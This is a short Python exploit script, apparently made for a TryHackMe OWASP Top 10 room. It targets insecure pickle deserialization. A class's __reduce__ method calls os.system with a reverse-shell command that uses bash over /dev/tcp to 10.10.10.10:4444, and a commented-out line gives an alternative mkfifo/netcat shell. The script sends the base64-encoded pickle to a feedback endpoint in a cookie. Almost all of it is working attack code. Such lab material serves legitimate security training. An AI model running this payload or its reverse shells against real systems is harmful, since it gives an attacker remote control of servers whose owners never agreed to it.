THM_pickle_owasp10_room.py

#!/usr/bin/python
#
# Pickle deserialization RCE Exploit for TryHackme room https://tryhackme.com/room/owasptop10
# calfcrusher@inventati.org


import pickle
import base64
import requests


class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))


#command = "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat 10.10.10.10 4444 > /tmp/f"
url = "http://10.10.68.125/feedback"  # Change IP
command = "/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"  # Change IP and PORT

payload = base64.b64encode(pickle.dumps(PickleRCE()))  # Crafting payload
cookies = {"encodedPayload":payload}  # Create cookie
requests.get(url, cookies=cookies)  # Send GET request